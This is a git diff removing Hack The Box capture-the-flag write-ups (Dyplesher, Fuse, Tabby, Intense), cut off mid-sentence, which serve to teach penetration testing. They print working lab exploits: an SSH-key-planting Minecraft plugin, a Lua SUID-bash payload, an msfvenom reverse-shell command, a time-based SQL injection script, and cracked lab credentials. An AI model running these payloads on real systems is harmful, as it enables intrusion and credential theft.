    -snowscan@kali:~/htb/dyplesher$ ffuf -w $WLDC -t 50 -u http://dyplesher.htb:3000/FUZZ
    -________________________________________________
    -
    -                        [Status: 200, Size: 7851, Words: 456, Lines: 252]
    -admin                   [Status: 302, Size: 34, Words: 2, Lines: 3]
    -assets                  [Status: 302, Size: 31, Words: 2, Lines: 3]
    -avatars                 [Status: 302, Size: 32, Words: 2, Lines: 3]
    -css                     [Status: 302, Size: 28, Words: 2, Lines: 3]
    -debug                   [Status: 200, Size: 160, Words: 18, Lines: 5]
    -explore                 [Status: 302, Size: 37, Words: 2, Lines: 3]
    -img                     [Status: 302, Size: 28, Words: 2, Lines: 3]
    -issues                  [Status: 302, Size: 34, Words: 2, Lines: 3]
    -js                      [Status: 302, Size: 27, Words: 2, Lines: 3]
    -plugins                 [Status: 302, Size: 32, Words: 2, Lines: 3]
    -```
    -
    -## Vhost fuzzing
    -
    -We haven't found much yet so we'll try fuzzing vhosts next and we find a **test.dyplesher.htb** vhost.
    -
    -```
    -snowscan@kali:~/htb/dyplesher$ ffuf -w ~/tools/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t 50 -H "Host: FUZZ.dyplesher.htb" -u http://dyplesher.htb -fr "Worst Minecraft Server"
    -________________________________________________
    -
    -test                    [Status: 200, Size: 239, Words: 16, Lines: 15]
    -```
    -
    -There's a memcache test interface running on the vhost where we can add key/values to the memcache instance running on port 11211. There doesn't seem to be any vulnerability that I can see on this page.
    -
    -![](/assets/images/htb-writeup-dyplesher/image-20200524110832067.png)
    -
    -When dirbusting we find a git repository, then we can use git-dumper to copy it to our local machine.
    -
    -```
    -snowscan@kali:~/htb/dyplesher$ ffuf -w $WLDC -t 50 -u http://test.dyplesher.htb/FUZZ
    -________________________________________________
    -
    -index.php               [Status: 200, Size: 239, Words: 16, Lines: 15]
    -                        [Status: 200, Size: 239, Words: 16, Lines: 15]
    -.git/HEAD               [Status: 200, Size: 23, Words: 2, Lines: 2]
    -.htpasswd               [Status: 403, Size: 283, Words: 20, Lines: 10]
    -.hta                    [Status: 403, Size: 283, Words: 20, Lines: 10]
    -.htaccess               [Status: 403, Size: 283, Words: 20, Lines: 10]
    -server-status           [Status: 403, Size: 283, Words: 20, Lines: 10]
    -
    -snowscan@kali:~/htb/dyplesher/git$ ~/tools/git-dumper/git-dumper.py http://test.dyplesher.htb .
    -[-] Testing http://test.dyplesher.htb/.git/HEAD [200]
    -[-] Testing http://test.dyplesher.htb/.git/ [403]
    -[-] Fetching common files
    -[-] Fetching http://test.dyplesher.htb/.gitignore [404]
    -[-] Fetching http://test.dyplesher.htb/.git/description [200]
    -[-] Fetching http://test.dyplesher.htb/.git/COMMIT_EDITMSG [200]
    -[...]
    -```
    -
    -Inside, we find the source code of the memcache test application, along with the memcache credentials: `felamos / zxcvbnm`
    -
    -```php
    -
    -setOption(Memcached::OPT_BINARY_PROTOCOL, true);
    -	$m->setSaslAuthData("felamos", "zxcvbnm");
    -	$m->addServer('127.0.0.1', 11211);
    -	$m->add($_GET['add'], $_GET['val']);
    -	echo "Done!";
    -}
    -else {
    -	echo "its equal";
    -}
    -?>
    -
    -``` - -## Memcache enumeration - -We don't have the list of memcache keys but we can write a script that will brute force them and return the values. - -```python -#!/usr/bin/env python3 - -import bmemcached -from pprint import pprint - -client = bmemcached.Client('10.10.10.190:11211', 'felamos', 'zxcvbnm') - -with open("/usr/share/seclists/Discovery/Variables/secret-keywords.txt") as f: - for x in [x.strip() for x in f.readlines()]: - result = str(client.get(x)) - if 'None' not in result: - print(x + ": " + result) -``` - -The memcache instance contains some email addresses, usernames and password hashes that we will try to crack. - -``` -snowscan@kali:~/htb/dyplesher$ ./brute_keys.py -email: MinatoTW@dyplesher.htb -felamos@dyplesher.htb -yuntao@dyplesher.htb - -password: $2a$10$5SAkMNF9fPNamlpWr.ikte0rHInGcU54tvazErpuwGPFePuI1DCJa -$2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK -$2a$10$zXNCus.UXtiuJE5e6lsQGefnAH3zipl.FRNySz5C4RjitiwUoalS - -username: MinatoTW -felamos -yuntao -``` - -We're able to crack the password for user felamos: `mommy1` - -``` -snowscan@kali:~/htb/dyplesher$ john -w=/usr/share/wordlists/rockyou.txt memcache-hashes.txt -Using default input encoding: UTF-8 -Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3]) -Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096 -Will run 4 OpenMP threads -Press 'q' or Ctrl-C to abort, almost any other key for status -mommy1 (?) - -snowscan@kali:~/htb/dyplesher$ cat ~/.john/john.pot -$2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK:mommy1 -``` - -## Getting access to the Gogs repository - -We're able to log into the Gogs instance with Felamos' credentials. There's two repositories available: **gitlab** and **memcached**. - -![](/assets/images/htb-writeup-dyplesher/image-20200524112126061.png) - -The memcached repo contains the same information we got earlier from the .git directory on the test.dyplesher.htb website. However the gitlab repo contains a zipped backup of the repositories. - -![](/assets/images/htb-writeup-dyplesher/image-20200524112259332.png) - -After unzipping the file, we get a bunch of directories with .bundle files. These are essentially a full repository in single file. - -``` -snowscan@kali:~/htb/dyplesher$ ls -laR repositories/ -repositories/: -total 12 -[...] -repositories/@hashed/4b/22: -total 24 -drwxr-xr-x 3 snowscan snowscan 4096 Sep 7 2019 . -drwxr-xr-x 3 snowscan snowscan 4096 Sep 7 2019 .. -drwxr-xr-x 2 snowscan snowscan 4096 Sep 7 2019 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a --rw-r--r-- 1 snowscan snowscan 10837 Sep 7 2019 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.bundle -``` - -We can use the git clone command to extract the repository files from those bundle files. There are 4 repositories inside the backup file: - -- VoteListener -- MineCraft server -- PhpBash -- NightMiner - -``` -snowscan@kali:~/htb/dyplesher/git-backup$ ls -la -total 28 -drwxr-xr-x 7 snowscan snowscan 4096 May 23 16:55 . -drwxr-xr-x 6 snowscan snowscan 4096 May 24 11:26 .. -drwxr-xr-x 4 snowscan snowscan 4096 May 23 15:44 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a -drwxr-xr-x 8 snowscan snowscan 4096 May 23 23:42 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce -drwxr-xr-x 3 snowscan snowscan 4096 May 23 15:43 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b -drwxr-xr-x 3 snowscan snowscan 4096 May 23 15:43 d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35 -``` - -There's an SQLite database file inside the **LoginSecurity** directory: - -``` -snowscan@kali:~/htb/dyplesher/git-backup$ ls -l 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity/ -total 8 --rw-r--r-- 1 snowscan snowscan 396 May 24 00:44 config.yml --rw-r--r-- 1 snowscan snowscan 3072 May 23 15:43 users.db -snowscan@kali:~/htb/dyplesher/git-backup$ file 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity/users.db -4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity/users.db: SQLite 3.x database, last written using SQLite version 3007002 -``` - -The file contains another set of hashed credentials: - -``` -$ sqlite3 ./4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity/users.db -SQLite version 3.31.1 2020-01-27 19:55:54 -Enter ".help" for usage hints. -sqlite> .tables -users -sqlite> select * from users; -18fb40a5c8d34f249bb8a689914fcac3|$2a$10$IRgHi7pBhb9K0QBQBOzOju0PyOZhBnK4yaWjeZYdeP6oyDvCo9vc6|7|/192.168.43.81 -``` - -Here we go, got another password: `alexis1` - -``` -snowscan@kali:~/htb/dyplesher$ john -w=/usr/share/wordlists/rockyou.txt git-hash.txt -Using default input encoding: UTF-8 -Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) -Cost 1 (iteration count) is 1024 for all loaded hashes -Will run 4 OpenMP threads -Press 'q' or Ctrl-C to abort, almost any other key for status -alexis1 (?) -1g 0:00:00:06 DONE (2020-05-24 11:36) 0.1501g/s 243.2p/s 243.2c/s 243.2C/s alexis1..serena -Use the "--show" option to display all of the cracked passwords reliably -Session completed -``` - -## RCE using Minecraft plugin - -Now that we have more credentials, we can go back to the main webpage and log in. We have a dashboard with some player statistics and a menu to upload plugins. - -![](/assets/images/htb-writeup-dyplesher/image-20200524113803504.png) - -The console displays the messages from the server. - -![](/assets/images/htb-writeup-dyplesher/image-20200524113905691.png) - -Looks like we'll have to create a plugin to get access to the server. We can follow the following blog post instructions on how to create a plugin with Java: [https://bukkit.gamepedia.com/Plugin_Tutorial](https://bukkit.gamepedia.com/Plugin_Tutorial) - -After trying a couple of different payloads I wasn't able to get anything to connect back to me so I assumed there was a firewall configured to block outbound connections. So instead I used the following to write my SSH keys to MinatoTW home directory: - -```java -package pwn.snowscan.plugin; - -import java.io.*; -import org.bukkit.*; -import org.bukkit.plugin.java.JavaPlugin; -import java.util.logging.Logger; - -public class main extends JavaPlugin { - - @Override - public void onEnable() { - Bukkit.getServer().getLogger().info("XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"); - try { - FileWriter myWriter = new FileWriter("/home/MinatoTW/.ssh/authorized_keys"); - myWriter.write("ssh-rsa AAAAB3NzaC1yc2EAAA[...]JsSkunC1TzjHyY70NfMskJViGcs= snowscan@kali"); - myWriter.close(); - Bukkit.getServer().getLogger().info("Successfully wrote to the file."); - } catch (IOException e) { - Bukkit.getServer().getLogger().info("An error occurred."); - e.printStackTrace(); - } - Bukkit.getServer().getLogger().info("YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY"); - } - - @Override - public void onDisable() { - - } -} -``` - -After adding and reloading the script, our SSH public key is written to the home directory and we can log in. - -![](/assets/images/htb-writeup-dyplesher/image-20200524114411007.png) - -## Privesc to Felamos - -Our user is part of the wireshark group so there's a good chance the next part involves traffic sniffing. - -``` -MinatoTW@dyplesher:~$ id -uid=1001(MinatoTW) gid=1001(MinatoTW) groups=1001(MinatoTW),122(wireshark) -``` - -As suspected, the dumpcat program has been configured to with elevated capabilities: - -``` -MinatoTW@dyplesher:~$ getcap -r / 2>/dev/null -/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep -/usr/bin/traceroute6.iputils = cap_net_raw+ep -/usr/bin/mtr-packet = cap_net_raw+ep -/usr/bin/ping = cap_net_raw+ep -/usr/bin/dumpcap = cap_net_admin,cap_net_raw+eip -``` - -We'll capture packets on the loopback interface in order to capture some of traffic for the RabbitMQ instance. - -``` -MinatoTW@dyplesher:~$ dumpcap -i lo -w local.pcap -Capturing on 'Loopback: lo' -File: local.pcap -Packets: 90 -``` - -The pcap file contains some AMQP messages with additional credentials: - -- `felamos / tieb0graQueg` -- `yuntao / wagthAw4ob` -- `MinatoTW / bihys1amFov` - -![](/assets/images/htb-writeup-dyplesher/image-20200524114757641.png) - -![](/assets/images/htb-writeup-dyplesher/image-20200524114949910.png) - -## Root privesc - -The send.sh file contains a hint about what we need to do next: - -``` -felamos@dyplesher:~$ ls -cache snap user.txt yuntao -felamos@dyplesher:~$ ls yuntao/ -send.sh -felamos@dyplesher:~$ cat yuntao/send.sh -#!/bin/bash - -echo 'Hey yuntao, Please publish all cuberite plugins created by players on plugin_data "Exchange" and "Queue". Just send url to download plugins and our new code will review it and working plugins will be added to the server.' > /dev/pts/{} -``` - -Cubberite plugins are basically just lua scripts so we can created a simple script that'll copy and make bash suid, then host that script locally with a local webserver. - -```lua -os.execute("cp /bin/bash /tmp/snow") -os.execute("chmod 4777 /tmp/snow") -``` - -We'll reconnect to the box and port forward port 5672 so we can use the Pika Python library and publish messages to the RabbitMQ messaging bus: `ssh -L 5672:127.0.0.1:5672 felamos@10.10.10.190` - -```python -#!/usr/bin/python - -import pika - -credentials = pika.PlainCredentials('yuntao', 'EashAnicOc3Op') -parameters = pika.ConnectionParameters('127.0.0.1', 5672, credentials=credentials) -connection = pika.BlockingConnection(parameters) - -channel = connection.channel() - -channel.exchange_declare(exchange='plugin_data', durable=True) -channel.queue_declare(queue='plugin_data', durable=True) -channel.queue_bind(queue='plugin_data', exchange='plugin_data', routing_key=None, arguments=None) -channel.basic_publish(exchange='plugin_data', routing_key="plugin_data", body='http://127.0.0.1:8080/pwn.lua') -print("Message sent, check the webserver to see if the LUA script was fetched.") -connection.close() -``` - -``` -snowscan@kali:~/htb/dyplesher$ python3 exploit.py -Message sent, check the webserver to see if the LUA script was fetched. - -felamos@dyplesher:~$ python3 -m http.server 8080 -Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ... -127.0.0.1 - - [24/May/2020 15:57:29] "GET /pwn.lua HTTP/1.0" 200 - -``` - -After a few moments, the LUA script is executed and we have a SUID bash we can use to get root. - -![](/assets/images/htb-writeup-dyplesher/image-20200524115627328.png) \ No newline at end of file diff --git a/_posts/2020-10-31-htb-writeup-fuse.md b/_posts/2020-10-31-htb-writeup-fuse.md deleted file mode 100644 index b816c20bed..0000000000 --- a/_posts/2020-10-31-htb-writeup-fuse.md +++ /dev/null @@ -1,165 +0,0 @@ ---- -layout: single -title: Fuse - Hack The Box -excerpt: "To solve Fuse, we'll do some enumeration to gather potential usernames from the print jobs information then build a password list from the strings on the website. After successfully password spraying, we'll reset the expired password to a new one then use rpcclient to identify a printer service account and find its password in a description field. To priv esc, we'll use the ability of our user with Printer Operators right to load a malicous kernel driver and get SYSTEM." -date: 2020-10-31 -classes: wide -header: - teaser: /assets/images/htb-writeup-fuse/fuse_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - password spray - - crackmapexec - - smbpasswd - - print operators - - capcom ---- - -![](/assets/images/htb-writeup-fuse/fuse_logo.png) - -To solve Fuse, we'll do some enumeration to gather potential usernames from the print jobs information then build a password list from the strings on the website. After successfully password spraying, we'll reset the expired password to a new one then use rpcclient to identify a printer service account and find its password in a description field. To priv esc, we'll use the ability of our user with Printer Operators right to load a malicous kernel driver and get SYSTEM. - -## Summary - -- Find usernames from the print logger website & build a small wordlist -- Password spray and find an expired password for three users -- Reset password for the user with smbpasswd then use rpcclient to find credentials for the svc-print account in a printer description -- Get a shell and identify that svc-print is a members of Print Operators and can load kernel drivers -- Use the Capcom.sys driver to gain code execution as SYSTEM - -## Portscan - -``` -snowscan@kali:~$ sudo nmap -sC -sV -p- 10.10.10.193 -Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-13 20:50 EDT -Stats: 0:00:15 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan -SYN Stealth Scan Timing: About 8.37% done; ETC: 20:53 (0:02:44 remaining) -Nmap scan report for fuse.htb (10.10.10.193) -Host is up (0.018s latency). -Not shown: 65514 filtered ports -PORT STATE SERVICE VERSION -53/tcp open domain? -| fingerprint-strings: -| DNSVersionBindReqTCP: -| version -|_ bind -80/tcp open http Microsoft IIS httpd 10.0 -| http-methods: -|_ Potentially risky methods: TRACE -|_http-server-header: Microsoft-IIS/10.0 -|_http-title: Site doesn't have a title (text/html). -88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-14 01:07:26Z) -135/tcp open msrpc Microsoft Windows RPC -139/tcp open netbios-ssn Microsoft Windows netbios-ssn -389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name) -445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP) -464/tcp open kpasswd5? -593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 -636/tcp open tcpwrapped -3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name) -3269/tcp open tcpwrapped -5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) -|_http-server-header: Microsoft-HTTPAPI/2.0 -|_http-title: Not Found -9389/tcp open mc-nmf .NET Message Framing -49666/tcp open msrpc Microsoft Windows RPC -49667/tcp open msrpc Microsoft Windows RPC -49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 -49670/tcp open msrpc Microsoft Windows RPC -49672/tcp open msrpc Microsoft Windows RPC -49690/tcp open msrpc Microsoft Windows RPC -49745/tcp open msrpc Microsoft Windows RPC -``` - -## Website recon - -The PaperCut Print Logger application is running on the server. There's not much exposed by the application except some print jobs that contain the hostname, some usernames and the file names. - -![](/assets/images/htb-writeup-fuse/image-20200613205151216.png) - -![](/assets/images/htb-writeup-fuse/image-20201030163223157.png) - -## Password spray - -Based on the printer job information, we can assume that the following usernames are present on the domain/machine: - -- pmerton -- tlavel -- sthompson -- bhult -- bnielson (From New Starter - bnielson.txt) - -For passwords, we'll build a wordlist with the words found on from the papercut website. Here's the small wordlist I built: - -``` -backup_tapes -bnielson -Budget -Fabricorp01 -IT -Meeting -mega_mountain_tape_request -Minutes -New -Notepad -offsite_dr_invocation -printing_issue_test -Starter -``` - -Using **crackmapexec** we'll password spray those passwords and we find 3 accounts with the `Fabricorp01` password but it's expired as we can see from the server response: `STATUS_PASSWORD_MUST_CHANGE`. - -![](/assets/images/htb-writeup-fuse/image-20200613211345368.png) - -## Finding the printer service account credentials - -Using **smbpasswd** we can reset the user's password, and then after poking around for a while with **rpcclient** we find that the printer has a description with the password. - -![](/assets/images/htb-writeup-fuse/image-20200613211912843.png) - -We can get the list of users with **rpcclient** and we see that there is an **svc-print** account so this is probably the account that uses the password we found earlier. - -![](/assets/images/htb-writeup-fuse/image-20200613212151259.png) - -Yup, this is our user. We can get a shell now with WinRM. - -![](/assets/images/htb-writeup-fuse/image-20200613212328325.png) - -## Privesc - -The **svc-print** user is a member of **Print Operators**. This is very dangerous since members of this group can load Kernel Drivers and get code execution with SYSTEM privileges. - -![](/assets/images/htb-writeup-fuse/image-20200613213352780.png) - -![](/assets/images/htb-writeup-fuse/image-20200613213519478.png) - -There's a nice blog post from Tarlogic that explains how to perform privilege escalation by loading drivers: [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/) - -We need the following in order to privesc: -- A way to load the kernel driver from our shell. We can use the following PoC: [https://github.com/TarlogicSecurity/EoPLoadDriver/](https://github.com/TarlogicSecurity/EoPLoadDriver/) -- The Capcom signed driver that contains the rootkit: [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys) -- The Capcom rootkit PoC that will let us execute code with the driver: [https://github.com/tandasat/ExploitCapcom](https://github.com/tandasat/ExploitCapcom) - -The kernel driver loader doesn't need any need modification and can be compiled as-is. - -I modified the capcom exploit to run [xc](https://github.com/xct/xc): - -![](/assets/images/htb-writeup-fuse/image-20200613220144218.png) - -![](/assets/images/htb-writeup-fuse/image-20200613220610515.png) - -We'll first load the Capcom driver: - -![](/assets/images/htb-writeup-fuse/image-20200613220725179.png) - -Then run the Capcom exploit, which will trigger code execution in the driver: - -![](/assets/images/htb-writeup-fuse/image-20200613220831186.png) - -Our xc reverse shell gets executed and we can finally get the last flag: - -![](/assets/images/htb-writeup-fuse/image-20200613220855458.png) \ No newline at end of file diff --git a/_posts/2020-11-07-htb-writeup-tabby.md b/_posts/2020-11-07-htb-writeup-tabby.md deleted file mode 100644 index d1df07b0a1..0000000000 --- a/_posts/2020-11-07-htb-writeup-tabby.md +++ /dev/null @@ -1,139 +0,0 @@ ---- -layout: single -title: Tabby - Hack The Box -excerpt: "Tabby was an easy box with simple PHP arbitrary file ready, some password cracking, password re-use and abusing LXD group permissions to instantiate a new container as privileged and get root access. I had some trouble finding the tomcat-users.xml file so installed Tomcat locally on my VM and found the proper path for the file." -date: 2020-11-07 -classes: wide -header: - teaser: /assets/images/htb-writeup-tabby/tabby_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - php - - lfi - - tomcat - - password cracking - - zip - - password re-use - - lxd ---- - -![](/assets/images/htb-writeup-tabby/tabby_logo.png) - -Tabby was an easy box with simple PHP arbitrary file ready, some password cracking, password re-use and abusing LXD group permissions to instantiate a new container as privileged and get root access. I had some trouble finding the tomcat-users.xml file so installed Tomcat locally on my VM and found the proper path for the file. - -## Portscan - -``` -snowscan@kali:~/htb/tabby$ sudo nmap -sC -sV -p- 10.10.10.194 -Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 23:13 EDT -Nmap scan report for tabby.htb (10.10.10.194) -Host is up (0.018s latency). -Not shown: 65532 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) -80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) -|_http-server-header: Apache/2.4.41 (Ubuntu) -|_http-title: Mega Hosting -8080/tcp open http Apache Tomcat -|_http-open-proxy: Proxy might be redirecting requests -|_http-title: Apache Tomcat -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -``` - -## Website - Port 80 - -There's a website running on the server with a typical hosting provider landing page. - -![](/assets/images/htb-writeup-tabby/image-20200621231450618.png) - -## Website - Port 8080 - -There's a default Tomcat installation on port 8080 but the password for the manager page has been changed and we can't log in. - -![](/assets/images/htb-writeup-tabby/image-20200621231615067.png) - -![](/assets/images/htb-writeup-tabby/image-20200621231712434.png) - -## Find Tomcat credentials with PHP LFI - -On the main website there's a link to a statement about some previous security breach: `http://megahosting.htb/news.php?file=statement` - -![](/assets/images/htb-writeup-tabby/image-20200621231829387.png) - -There's a very obvious arbitrary file read vulnerability in the `news.php` file and we can read any file with path traversal. Here I grabbed `/etc/passwd` and found the `ash` user: - -![](/assets/images/htb-writeup-tabby/image-20200621232009306.png) - -The Tomcat credentials are usually stored in the `tomcat-users.xml` file. I looked for it in `/etc/tomcat9/tomcat-users.xml` but the file wasn't there so instead I installed Tomcat locally and checked where it could be hidden: - -``` -snowscan@kali:/$ find / -name tomcat-users.xml 2>/dev/null -/etc/tomcat9/tomcat-users.xml -/usr/share/tomcat9/etc/tomcat-users.xml -``` - -![](/assets/images/htb-writeup-tabby/image-20200621232523769.png) - -We got the credentials: `tomcat / $3cureP4s5w0rd123!` - -## Getting a shell with a WAR file - -I can't log in to the Tomcat manager even with the credentials. - -![](/assets/images/htb-writeup-tabby/image-20200621232743387.png) - -But I can log in to the host-manager: - -![](/assets/images/htb-writeup-tabby/image-20200621232848021.png) - -I'll generate a WAR file with msfvenom to get a reverse shell: - -``` -msfvenom -p linux/x64/meterpreter/reverse_tcp -f war -o met.war LHOST=10.10.14.11 LPORT=4444 -``` - -To deploy the WAR file payload I'll use `https://pypi.org/project/tomcatmanager/` - -![](/assets/images/htb-writeup-tabby/image-20200621233339795.png) - -Then I'll get the file name of the JSP file generated: - -![](/assets/images/htb-writeup-tabby/image-20200621233433491.png) - -Browsing to `http://10.10.10.194:8080/met/vjreafuiffq.jsp` I can trigger the meterpreter shell: - -![](/assets/images/htb-writeup-tabby/image-20200621233731397.png) - -## Priv esc to user ash - -In the website folder there's a backup zip file: - -![](/assets/images/htb-writeup-tabby/image-20200621233913483.png) - -The file is encrypted but we can crack the hash: - -![](/assets/images/htb-writeup-tabby/image-20200621234129261.png) - -There isn't anything interesting in the zip file but the same password is used by the ash user: - -![](/assets/images/htb-writeup-tabby/image-20200621234231636.png) - -## Privesc - -Ash is a member of the `lxd` group: - -![](/assets/images/htb-writeup-tabby/image-20200621234322444.png) - -Members of the `lxd` group can create containers and by creating a container as privileged we can access the host filesystem with root privileges. - -I'll upload an small Alpine Linux image, import it, then launch a new instance as privileged then I can read the flag from the host OS. - -![](/assets/images/htb-writeup-tabby/image-20200621235145325.png) - -![](/assets/images/htb-writeup-tabby/image-20200621235323717.png) - -![](/assets/images/htb-writeup-tabby/image-20200621235444013.png) \ No newline at end of file diff --git a/_posts/2020-11-14-htb-writeup-intense.md b/_posts/2020-11-14-htb-writeup-intense.md deleted file mode 100644 index 5510f9e2f2..0000000000 --- a/_posts/2020-11-14-htb-writeup-intense.md +++ /dev/null @@ -1,225 +0,0 @@ ---- -layout: single -title: Intense - Hack The Box -excerpt: "Intense starts with code review of a flask application where we find an SQL injection vulnerability that we exploit with a time-based technique. After retrieving the admin hash, we'll use a hash length extension attack to append the admin username and hash that we found in the database, while keeping the signature valid, then use a path traversal vulnerability to read the snmp configuration file. With the SNMP read-write community string we can execute commands with the daemon user. To escalate to root, we'll create an SNMP configuration file with the `agentUser` set to `root`, then wait for the SNMP daemon to restart to so we can execute commands as root." -date: 2020-11-14 -classes: wide -header: - teaser: /assets/images/htb-writeup-intense/intense_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - snmp - - sqli - - sqlite - - hash length extension - - path traversal - - flask ---- - -![](/assets/images/htb-writeup-intense/intense_logo.png) - -Intense starts with code review of a flask application where we find an SQL injection vulnerability that we exploit with a time-based technique. After retrieving the admin hash, we'll use a hash length extension attack to append the admin username and hash that we found in the database, while keeping the signature valid, then use a path traversal vulnerability to read the snmp configuration file. With the SNMP read-write community string we can execute commands with the daemon user. To escalate to root, we'll create an SNMP configuration file with the `agentUser` set to `root`, then wait for the SNMP daemon to restart to so we can execute commands as root. - -## Portscan - -![](/assets/images/htb-writeup-intense/image-20200705151323065.png) - -## SNMP enumeration - -I always do a quick (-F) scan on UDP ports in case there's something useful listening. On this machine we have an SNMP daemon listening on port 161. - -![](/assets/images/htb-writeup-intense/image-20200705151358820.png) - -Using **snmpwalk** we're able to pull some information from the machine with the **public** community string but there's not much here. There's no useful information other than the kernel version. - -![](/assets/images/htb-writeup-intense/image-20200705152930181.png) - -## Website enumeration - -The website provides credentials to log in: `guest / guest` - -![](/assets/images/htb-writeup-intense/image-20200705153208027.png) - -There's an opensource link at the bottom of the page that gives us a zip file with the source code to the application and after unpacking the zip file we see that this is a Flask web application. - -![](/assets/images/htb-writeup-intense/image-20200705153905723.png) - -After logging in, we see a message about crafting our own tools so this is probably some hint about not using sqlmap or automated scanners. - -![](/assets/images/htb-writeup-intense/image-20200705154049777.png) - -The only functionality we have when we're logged in is a message form to send messages. This could be a way to XSS, or contains an SQL injection vulnerability. - -![](/assets/images/htb-writeup-intense/image-20200705154144138.png) - -## Identifying the vulnerability - -Let's look at the application source code now... There's a couple of interesting things in there: - -Some keywords are blacklisted: `rand`, `system`, `exec`, `date` - -![](/assets/images/htb-writeup-intense/image-20200705154620430.png) - -The login form uses prepared statements so it's not vulnerable to any SQL injection vulnerability: - -![](/assets/images/htb-writeup-intense/image-20200705154801963.png) - -However the message submission function does not use prepared statement and is vulnerable to SQL injection: - -![](/assets/images/htb-writeup-intense/image-20200705155019649.png) - -## SQL injection exploitation - -Single quote gives an error message: - -`message='` : `unrecognized token: "''')"` - -Balanced single quotes are fine: - -`message=''` : `OK` - -With SQLite we can concatenate strings with the `||` operator: - -`message='||'a` : `OK` - -We can also concatenate the result of a select statement (but we can't see the result with the web app): - -`message='||(select 1)||'a` : `OK` - -What we can do is a time-based attack by using the `randomblob` statement but as we can see that specific word is blocked in the code. - -`(select case when (SELECT COUNT(*) FROM messages)=1 then randomblob(999999999) else 0 end))` : `forbidden word in message` - -There's an alternative to this, we can use the `zeroblob` statement which will essentially do the same thing for us. Here we're testing a true condition (1=1) so the resulting CASE action will consume CPU cycles and introduce latency in the response. - -`message='||(select case when 1=1 then zeroblob(999999999) else 0 end)||'a` : `string or blob too big` -> delay > 500 ms - -In the following example, the condition is false so the statement returns 0 with no extra latency added. - -`message='||(select case when 1=0 then zeroblob(999999999) else 0 end)||'a` : `OK` - -We already know the table and column names so all we have to do is write a quick script that will test every characters/position of the password field and extract the data. Depending on network conditions and server CPU utilization this code may introduce false positives so it is best to run it a few times to make sure the hash we get is not corrupted. - -```python -#!/usr/bin/python3 - -import requests -import time - -charset = 'abcdef0123456789' - -pwd = '' -i = 1 - -while (True): - for c in charset: - data = { - 'message':"'||(select case when substr((select secret from users),%d,1)='%s' then zeroblob(999999999) else 0 end))--" % (i,c) - } - - before = time.time() - r = requests.post('http://10.10.10.195/submitmessage', data=data) - after = time.time() - delta = after - before - if delta > 0.800: - pwd = pwd + c - print("Password: %s" % pwd) - i = i + 1 - break -``` - -Running the time based SQLi script... - -``` -$ python3 sqli.py -Password: f -Password: f1 -Password: f1f -Password: f1fc -[...] -Password: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c29711 -Password: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c297110 -Password: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105 -``` - -Unfortunately the SHA256 hash `f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105` can't be cracked with rockyou.txt so we'll need to keep looking for other ways to exploit the web application. - -## Hash length extension attack - -Looking at the application source code again, we find a subtle but critical vulnerability that will allow us to forge valid signatures. The hash algorithm used is SHA256 and is vulnerable to hash length extension attacks (MD5 and SHA1 are also vulnerable to these types of attacks). The highlighted part below shows where the vulnerability is: - -![](/assets/images/htb-writeup-intense/image-20200706084429189.png) - -To defend against this attack, the application should implement HMAC instead of appending the secret to the plaintext message being hashed. - -To 